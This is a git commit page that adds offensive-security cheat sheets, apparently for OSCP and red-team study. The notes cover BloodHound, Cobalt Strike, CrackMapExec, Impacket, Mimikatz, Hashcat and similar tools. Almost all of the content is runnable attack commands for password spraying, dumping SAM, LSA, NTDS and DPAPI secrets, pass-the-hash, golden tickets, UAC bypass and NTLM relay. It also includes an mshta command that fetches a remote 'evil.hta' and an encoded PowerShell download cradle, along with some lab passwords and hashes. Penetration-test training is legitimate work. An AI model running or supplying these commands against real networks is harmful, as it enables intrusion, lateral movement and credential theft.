julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Necronomicon/Tools/BloodHound.md
+107
View File
@@ -0,0 +1,107 @@
- Python
- `bloodhound-python -u USERNAME -p ‘PASSWORD’ -d CYBERPUNK.COM -c all -v`
- `bloodhound-python -c All -u 'enterprise-core-vn' -p 'ry=ibfkfv,s6h,' -gc 'WIN-2BO8M1OE1M1.vulnnet-rst.local' -dc 'WIN-2BO8M1OE1M1.vulnnet-rst.local' -d 'vulnnet-rst.local' -ns 10.10.131.192`
- Custom Cipher queries
- Find computers with unconstrained delegation
- `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c`
- Shortest path to unconstrained delegation systems from owned users
- `MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p`
- Find computers and services for constrained delegation
- `MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p`
- Find paths to target computer from owned users
- `MATCH (u:User {owned:true}), (c:Computer {name: "WEB-2.CYBERBOTIC.IO"}), p=shortestPath((u)-[*1..]->(c)) RETURN p`
- Find computers with LAPS enabled
- `MATCH (c:Computer {haslaps: true}) RETURN c`
- Find groups with an edge to machines via LAPS
- `MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) RETURN p`
- Find users with SQLAdmin to MSSQL servers
- `MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) RETURN p`
- Find principals with GenericAll on another principal
- `MATCH (g1:Group), (g2:Group), p=((g1)-[:GenericAll]->(g2)) RETURN p`
- `MATCH (g1:Group {name:"1ST LINE [email protected]"}), (g2:Group), p=((g1)-[:GenericAll]->(g2)) RETURN p`
- Find computers that contain a given string in their name
- `Match (n:Computer) WHERE n.name CONTAINS "<string>" return n`
- Find workstations a user can RDP into.
- `match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513'  AND NOT c.operatingsystem CONTAINS 'Server' return p`
- Find servers a user can RDP into.
- `match p=(g:Group)-[:CanRDP]->(c:Computer) where  g.objectid ENDS WITH '-513'  AND c.operatingsystem CONTAINS 'Server' return p`
- All Domain Admin sessions
- `MATCH (n:User)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = (c:Computer)-[:HasSession]->(n) return p`
- Domain Admin sessions not on a certain group
- `OPTIONAL MATCH (c:Computer)-[:MemberOf]->(t:Group) WHERE NOT t.name = 'DOMAIN [email protected]' WITH c as NonDC MATCH p=(NonDC)-[:HasSession]->(n:User)-[:MemberOf]->(g:Group {name:”DOMAIN [email protected]”}) RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY COUNT(DISTINCT(NonDC)) DESC`
- All sessions a member of a given group has
- `MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN [email protected]'}) MATCH p = (c:Computer)-[:HasSession]->(n) return p`
- ACL Abuse
- Interesting privileges/ACLs configured to a particular group (DOMAIN USERS)
- `MATCH (m:Group) WHERE m.name =~ 'DOMAIN USERS@.*' MATCH p=(m)-[r:Owns|:WriteDacl|:GenericAll|:WriteOwner|:ExecuteDCOM|:GenericWrite|:AllowedToDelegate|:ForceChangePassword]->(n:Computer) RETURN p`
- Interesting edges related to "ACL Abuse" for unpriv users against other users
- `MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p`
- Interesting edges related to "ACL Abuse" for unpriv users against computers
- `MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p`
- Users that are not AdminCount 1, have Generic All, and no local admin
- `MATCH (u:User)-[:GenericAll]->(c:Computer) WHERE  NOT u.admincount AND NOT (u)-[:AdminTo]->(c) RETURN u.name, c.name`
- Groups
- Unpriv users with rights to add members to groups
- `MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p`
- Groups with RDP
- `MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name`
- Groups which can reset passwords
- `MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN m.name, n.name ORDER BY m.name`
- Groups with local admin
- `MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name`
- Users with local admin
- `MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name`
- Groups of all owned users
- `MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH p=(m)-[:MemberOf*1..]->(n:Group) RETURN m.name, n.name ORDER BY m.name`
- Unique groups of all owned users
- `MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH (m)-[r:MemberOf*1..]->(n:Group) RETURN DISTINCT(n.name)`
- Groups with default privileged rights on domain users and groups and ability to logon to DCs
- `MATCH (u:User)-[r1:MemberOf*1..]->(g1:Group {name:'ACCOUNT [email protected]'}) RETURN u.name`
- Groups containing the word "admin"
- `Match (n:Group) WHERE n.name CONTAINS "ADMIN" return n`
- Permissions of Everyone/Authenticated users/Domain users/Domain computers
- `MATCH p=(m:Group)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GetChanges|GetChangesAll|HasSession|Owns|ReadLAPSPassword|SQLAdmin|TrustedBy|WriteDACL|WriteOwner|AddAllowedToAct|AllowedToAct]->(t) WHERE m.objectsid ENDS WITH '-513' OR m.objectsid ENDS WITH '-515' OR m.objectsid ENDS WITH 'S-1-5-11' OR m.objectsid ENDS WITH 'S-1-1-0' RETURN m.name,TYPE(r),t.name,t.enabled`
- Domain Trusts
- Can an object from domain "A" do anything to an object in domain "B"
- `MATCH (n {domain:"TEST.LOCAL"})-[r]->(m {domain:"LAB.LOCAL"}) RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name`
- All connections to a different domain/forest
- `MATCH (n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name`
- Computers
- List all descriptions
- `MATCH (c:Computer) WHERE c.description IS NOT NULL RETURN c.name,c.description`
- List computers that are NOT domain controllers but are trusted for unconstrained delegation
- `MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC`
- Computer accounts with local admin rights on other computers (descending order)
- `MATCH (c1:Computer) OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name AS COMPUTER,COUNT(DISTINCT(computers)) AS ADMIN_TO_COMPUTERS ORDER BY COUNT(DISTINCT(computers)) DESC`
- Computers where Domain Admins are logged in
- `MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN [email protected]'}) WITH n as privusers`
- Find which users can RDP to a given computer
- `MATCH (c:Computer) OPTIONAL MATCH (u:User)-[:CanRDP]->(c) WHERE u.enabled=true OPTIONAL MATCH (u1:User)-[:MemberOf*1..]->(:Group)-[:CanRDP]->(c) where u1.enabled=true WITH COLLECT(u) + COLLECT(u1) as tempVar,c UNWIND tempVar as users RETURN c.name AS COMPUTER,COLLECT(DISTINCT(users.name)) as USERS ORDER BY USERS desc`
- Computers with constrained delegation permissions and corresponding targets to which they are allowed to delegate
- `MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name,c.allowedtodelegate`
- Unsupported OSs
- `MATCH (H:Computer) WHERE H.operatingsystem =~ '.*(2000|2003|2008|xp|vista|7|me)*.' RETURN H`
- Users
- User objects where "userpassword" attribute is populated
- `MATCH (u:User) WHERE NOT u.userpassword IS null RETURN u.name,u.userpassword`
- Kerberoastable users
- `MATCH (u:User {hasspn:true}) RETURN u`
- With path to other computer
- `MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p`
- With password last set > 5 years ago
- `MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset`
- With keyword
- `MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS 'SQL')RETURN u`
- ASREPRoastable users with path to any computer:
- `MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p`
- Users trusted for constrained delegation
- `MATCH (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC`
- Users trusted for constrained delegation and the corresponding targets to which they are allowed to delegate
- `MATCH (u:User) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name,u.allowedtodelegate`
- Users with constrained delegation permissions,the corresponding targets where they are allowed to delegate, the privileged users that can be impersonated (based on sensitive:false and admincount:true) and find where these users (with constrained deleg privs) have active sessions (user hunting) as well as count the shortest paths to them
- `OPTIONAL MATCH (u:User {sensitive:false, admincount:true}) WITH u.name AS POSSIBLE_TARGETS OPTIONAL MATCH (n:User) WHERE n.allowedtodelegate IS NOT NULL WITH n AS USER_WITH_DELEG, n.allowedtodelegate as DELEGATE_TO, POSSIBLE_TARGETS OPTIONAL MATCH (c:Computer)-[:HasSession]->(USER_WITH_DELEG) WITH USER_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,c.name AS USER_WITH_DELEG_HAS_SESSION_TO OPTIONAL MATCH p=shortestPath((o)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(USER_WITH_DELEG)) WHERE NOT o=USER_WITH_DELEG WITH USER_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,USER_WITH_DELEG_HAS_SESSION_TO,p RETURN USER_WITH_DELEG.name AS USER_WITH_DELEG, DELEGATE_TO, COLLECT(DISTINCT(USER_WITH_DELEG_HAS_SESSION_TO)) AS USER_WITH_DELEG_HAS_SESSION_TO, COLLECT(DISTINCT(POSSIBLE_TARGETS)) AS PRIVILEGED_USERS_TO_IMPERSONATE, COUNT(DISTINCT(p)) AS PATHS_TO_USER_WITH_DELEG`
- Active sessions that a specific domain user has on all domain computers
- `MATCH p1=shortestPath(((u1:User {name:'[email protected]'})-[r1:MemberOf*1..]->(g1:Group))) MATCH (c:Computer)-[r:HasSession*1..]->(u1) RETURN DISTINCT(u1.name) as users, c.name as computers ORDER BY computers`
- Users with interesting GPO permissions
- `MATCH p=(u:User)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|GpLink*1..]->(g:GPO) RETURN p LIMIT 25`
Necronomicon/Tools/Chisel.md
+9
View File
@@ -0,0 +1,9 @@
- Start server listening on 8000:
- `./chisel server -p 8000 --reverse`
- From victim:
| Command | Notes |
|----------------------------------------------------------|--------------------------------------------------------------|
| `.\chisel client <attacker ip>:<port> R:80:127.0.0.1:80` | Listen on Kali 80, forward to localhost port 80 on client |
| `.\chisel client <attacker ip>:<port> R:4444:10.10.10.240:80` | Listen on Kali 4444, forward to 10.10.10.240 port 80 |
| `.\chisel client <attacker ip>:<port> R:socks` | Create SOCKS5 listener on 1080 on Kali, proxy through client |
Necronomicon/Tools/Cobalt Strike.md
+32
View File
@@ -0,0 +1,32 @@
- Make token for local administrator on another machine
- `make_token wkstn-1921\Administrator MVYZKwfr356v3M`
- Equivalent to runas /netonly
- Spawn beacon as another user
- `spawnas CYBER\\n.lamb REDACTED http-vpn`
- Equivalent to runas.exe
- Execute command on remote machine
- `remote-exec winrm DTOP896 type C:\Users\duggand\Desktop\AppLocker.txt`
- Create new Windows service
- `runasadmin uac-cmstplua sc.exe create "Cthulhu Fhtagn Service" start= auto binPath= "C:\Temp\cthulhu.exe"`
- `runasadmin uac-cmstplua sc.exe start "Cthulhu Fhtagn Service"`
- UAC Bypass
- `elevate uac-token-duplication tcp-localhost`
- Lateral movement using DCOM
- `execute-assembly C:\Tools\MiscTools\CsDCOM\bin\Debug\CsDCOM.exe -t wkstn-4945 -b powershell.exe -a "-enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA0ADIAOQA6ADgAMAA4ADEALwB0ACcAKQA=" -m mmc20application`
- SharpGPOAbuse
- `execute-assembly C:\tools\SharpGPOAbuse\SharpGPOAbuse\bin\Debug\SharpGPOAbuse.exe --AddComputerTask --TaskName "Legit Task" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c powershell -nop -w hidden -enc cABv[...snip...]ACIA" --GPOName "Cthulhu GPO"`
- Run DLL payload (great for AppLocker bypass)
- `C:\Windows\System32\rundll32.exe C:\Users\Administrator\Desktop\beacon.dll,StartW`
- Reverse Port Forward
- `rportfwd 8080 10.10.5.120 80`
- Change the executable which the beacon will spawn to perform various postex procs (default: rundll32.exe)
- `spawnto x64 %windir%\sysnative\notepad.exe`
- Can also set in C2 profile
```
post-ex {
set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
}
```
- Change parent process for all beacon post-ex procs that spawn a process
- `ppid <PID of desired process>`
Necronomicon/Tools/Covenant.md
+9
View File
@@ -0,0 +1,9 @@
- Run container with Docker:
- `docker run -it -p 7443:7443 -p 80:80 -p 443:443 -p 8443:8443 --name covenant -v /Users/alh4zr3d/Tools/Covenant/Covenant/Data:/app/Data covenant --username Alh4zr3d --computername 0.0.0.0`
- Self-signed certificate
1. `openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes`
2. PFX: `openssl pkcs12 -export -in cert.pem -inkey key.pem -out cert.pfx`
2. DER: `openssl x509 -pubkey -outform der -in cert.pem -out cert.cer`
- Obfuscation
-
Necronomicon/Tools/CrackMapExec.md
+110
View File
@@ -0,0 +1,110 @@
- Execute HTA:
- `cme smb IP_ADDRESS -u USERNAME -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
- Get GPP policies
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
- Get password policy
- `cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol`
- Dump SAM
- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --sam`
- Dump LSA secrets
- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --lsa`
- Check cme protocols
- `cme`
- Check cme protocol modules
- `cme PROTOCOL -L`
- Check cme protocol module options
- `cme PROTOCOL -M MODULE --options`
- Use cme module options
- `cme PROTOCOL -M MODULE -o OPTION`
- Log stuff (6.x+)
- `cme smb IP_ADDRESS -u 'a' -p '' --log logfile.log`
- add port (most protocols)
- `cme smb IP_ADDRESS -u 'a' -p '' --port 666`
- Check Null/Anon Sessions
- `cme smb IP_ADDRESS -u '' -p ''`
- `cme smb IP_ADDRESS -u 'a' -p ''`
- Conduct password sprays
- `cme smb DC-IP_ADDRESS -u USERS_LIST.txt -p '<some password>' --local-auth`
- `cme smb DC-IP_ADDRESS -d DOMAIN -u USERS_LIST.txt -p '<some password>'`
- Execute HTA:
- `cme smb IP_ADDRESS -d DOMAIN -u UserName -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
- Get GPP policies
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
- Get password policy
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --pass-pol`
- Get users and descriptions
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --users`
- Get gropups
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --groups`
- Get shares
- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --shares`
- Dump SAM
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --sam`
- Dump LSA secrets
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --lsa`
- Dump DPAPI
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --dpapi`
- Pass the hash (can do both NTLM and NT hash)
- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
- Pass the hash (local) (can do both NTLM and NT hash)
- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
- Dump Wifi Passwords
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wireless`
- Dump firefox creds
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M firefox`
- Dump veeam creds
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M veeam`
- Search/Dump KeePass
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_discover`
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"`
- Defeating LAPS
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --laps`
- Find ASREPROASTable users
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName-List.txt -p '' --asreproast output.txt`
- Find Kerberoastable users
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --kerberoast output.txt`
- Dump gMSA password
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --gmsa`
- MS teams cookies (this crashes teams on host)
- `cme ldap IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M teams_localdb`
- Dump NTDS.dit
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users --enabled`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds vss`
- Spider shares for pattern
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --spider 'share' --pattern 'txt'`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M spider_plus`
- Get relay hosts (SMB Signing Not Required)
- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --gen-relay-list relaylist.txt`
- Get impersonation tokens
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M impersonate`
- Check for nopac
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M nopac`
- Check for printnightmare
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M printnightmare`
- Check for petitpotam
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M petitpotam`
- Check for shadowcoerce
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M shadowcoerce`
- Check for zerologon (shit's broken half the time, module not found)
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M zerologon`
- Enumerate basic security configs in windows
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wcc`
- Bloodhound ingestor
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --bloodhound --collection All`
- Run command (x - cmd // X - ps)
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -x 'whoami'`
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -X 'whoami'`
- Change command exec method (WMI/SMB/ATEXEC)
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --exec-method wmiexec`
- Authenticate locally
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --local-auth`
- Download file
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --get-file "file downloaded" "output file"`
- Screenshot VNC session
- `cme vnc IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --screenshot`
Necronomicon/Tools/Hashcat.md
+41
View File
@@ -0,0 +1,41 @@
- Hash types
- 1000 - NTLM
- 2100 - Domain Cached Credentials 2, MS Cache 2 (Iterations: 10240)
- `$DCC2$<iterations>#<username>#<hash>`
- 13100 - kerberoasted hash
- 18200 - ASREProasted hash
- a 0 - Wordlist
- `hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt D:\Tools\rockyou.txt`
- Rules
- `hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt D:\Tools\rockyou.txt -r rules\add-year.rule`
- Example custom rule to add "2020" to end of each:
- `$2$0$2$0`
- Hashcat Rules Docs:
- https://hashcat.net/wiki/doku.php?id=rule_based_attack
- a 3 - Mask
- `hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d`
- `hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1`
- Example masks
- `ZeroPointSecurity?d?d?d?d`
- a 1 - Combinator
- `hashcat.exe -a 1 -m 1000 C:\\Temp\\ntlm.txt D:\\Tools\\list1.txt D:\\Tools\\list2.txt -j $- -k $!`
- -j and -k add rule to left or right side of word, respectively
- a 6 - Hybrid Wordlist + Mask
- `hashcat.exe -a 6 -m 1000 C:\\Temp\\ntlm.txt D:\\Tools\\list.txt ?d?d?d?d`
- a 7 - Hybrid Mask + Wordlist
- `hashcat.exe -a 7 -m 1000 C:\\Temp\\ntlm.txt ?d?d?d?d D:\\Tools\\list.txt`
- Converting Pwnagotchi or other packet capture into hashcat crack-able format
- Installing
- `sudo apt install hcxtools -y`
- Converting
- `hcxpcaptool capture.pcap -z output.pmkid`
- `hcxpcaptool capture.pcap -o crackable.hccapx`
- Cracking
- `hashcat -m 2500 crackable.hccapx /usr/share/wordlists/rockyou.txt`
- `hashcat -m 16800 output.pmkid /usr/share/wordlists/rockyou.txt`
- Different ways put a single hash on one line.
- `cat pre_hash.txt | tr -d '[:space:]' > hash`
- `tr -d '[:space:]' < pre_hash.txt > hash`
- `cat bork.txt | tr -d "\r\n" > hash.txt`
- `cat pre_hash.txt | tr -d "\n" | tr -d " " > crackable_hash.txt`
- `perl -pe 's/^\s+|\s*$//g' pre_hash > hash`
Necronomicon/Tools/Impacket.md
+25
View File
@@ -0,0 +1,25 @@
- Kerberoast
- `python3 GetUserSPNs.py -request -dc-ip [IP address for Domain Controller] cyberpunk.com/[USER]`
- DCSync
- `.secretsdump.py -just-dc-user [ACCOUNT] [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]`
- `secretsdump.py 'contoso.local/[email protected]' -just-dc-user krbtgt`
- Dump local SAM file
- `secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`
- WMIExec
- `impacket-wmiexec [email protected]`
- `impacket-wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:a6a6591a1fef4938ce2ca6ea255838a9 [email protected]`
- Zerologon using NTLM Relay:
- `impacket-ntlmrelayx -t DCSYNC://<DCvulnerabletoZL> -smb2support -auth-smb 'DOMAIN/USER:PASSWORD'`
- `python3 printerbug.py 'DOMAIN/USER:PASSWORD@<OtherDC>' <attackerIP`
- PSExec
- `psexec.py contoso.local/[email protected] -hashes :cdeae556dc28c24b5b7b14e9df5b6e21`
- getTGT
- `getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21`
- `export KRB5CCNAME=$(pwd)/Anakin.ccache`
- `psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass`
- Must use hostname instead of IP; Kerberos requires it to determine the correct service
- NTLMRelayX
- `ntlmrelayx.py -t 192.168.100.10 -smb2support`
- Ticketer
- `ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162`
- Use AES-256 hash to avoid ATA
Necronomicon/Tools/LAN Turtle.md
+20
View File
@@ -0,0 +1,20 @@
- Be prepared for a pain in the ass with this thing. It works, sometimes, but it is a nightmare to fiddle around with, install anything on, or change in any way.
- https://forums.hak5.org/topic/40737-quick-creds-responder-filling-up-lan-turtle-instantly/
- Disabling IPv6 on the WAN interface
- For some fucking reason, my WAN interface was preferring IPv6 and it was killing all of my networking. If this happens to you, here's how to fix it:
1. Modify `eth1` interface in `/etc/config/network` to include the line `option ipv6 '0'`
2. Restart networking: `/etc/init.d/network restart`
- Alternatively, force wget to use IPv4 using `-4`
- Getting quickcreds working as quickly as possible:
- I had tons of networking issues with my LAN turtle and both the module itself failed to install via the modulemanager, then its dependencies similarly failed for the same reasons.
- I was able to manually get this working with the following:
1. Browse to `https://github.com/hak5/lanturtle-modules/tree/gh-pages/modules` and copy/paste the quickcreds script into `/etc/turtle/modules/quickcreds`
2. Download an older version of Responder (before the move to python3) [https://github.com/lgandx/Responder/releases/tag/v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0)
3. Extract this to `/sd/Responder`
4. Verify it works as the script expects by running `python /sd/Responder/Responder.py`
5. Hopefully it works now.
- Installing Python3 - because for some fucking reason Hak5 cannot be bothered to put Python3 on these things.
-
Necronomicon/Tools/MSF.md
+24
View File
@@ -0,0 +1,24 @@
- Metasploit
- Banners
- MLP
- `export APRILFOOLSPONIES=1 && msfconsole`
- Cow
- `export GOCOW=1 && msfconsole`
- Halloween
- `export THISISHALLOWEEN=1 && msfconsole`
- Open banners without env variable
- `APRILFOOLSPONIES=true msfconsole`
- `THISISHALLOWEEN=true msfconsole`
- `GOCOW=true msfconsole`
- Port Forwarding
```BASH
(in established Meterpreter session) background
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.200.x.0
run
use auxiliary/server/socks4a
run
configure proxychains4 (change proxy type and port)
proxychains4 <command>
```
Necronomicon/Tools/Mimikatz.md
+44
View File
@@ -0,0 +1,44 @@
- Elevate into high-integrity context
- `token::elevate`
- "!" before command in Cobalt Strike
- Dump SAM file for local hashes
- `lsadump::sam`
- Extract Domain Cached Credentials
- `lsadump::cache`
- DCSync
- `mimikatz lsadump::dcsync /domain:DOMAIN_NAME /user:USERNAME`
- Golden Ticket
- `kerberos::golden /user:<username to impersonate> /domain:<FQDN of current domain> /sid:<SID of current domain> /krbtgt:<NTLM hash of krbtgt account> /ticket:golden.kirbi`
- Abusing foreign trust:
- `kerberos::golden /user:Administrator /domain:dev.zeropointsecurity.co.uk /sid:<SID of current domain> /sids:<SID of domain admin account /krbtgt:REDACTED /ticket:zps.kirbi`
- Harvesting DPAPI creds
- Credential blobs are stored in: `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Credentials`
- Get guidMasterKey (key identifier) and pbData (encrypted blob) from:
- `dpapi::cred /in:C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Credentials\\5DD604C1E108746934B92E2A20318758`
- Retrieve MasterKey from Domain Controller:
- `dpapi::masterkey /in:C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3865823697-1816233505-1834004910-1132\\fcf4f725-0947-4180-a924-bc9da9ed8910 /rpc`
- Decrypt credential blob with MasterKey:
- `dpapi::cred /in:C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Credentials\\5DD604C1E108746934B92E2A20318758 /masterkey:REDACTED`
- RDP pass-the-hash
- `sekurlsa::pth /user:"<username>" /domain:"<domain>" /ntlm:<NTHash> /run:"mstsc.exe /restrictedadmin"`
- Get Kerberos keys
- `sekurlsa::ekeys`
- Get Kerberos tickets
- `sekurlsa::tickets`
- Pypykatz
- `pypykatz lsa minidump lsass.dmp -k /tmp/kerb > output.txt`
- DPAPI Backup Key (domain controller)
- `lsadump::backupkeys /system:localhost /export`
- Note: PFX is packed with passphrase "mimikatz". To unpack and repack with a new passphrase:
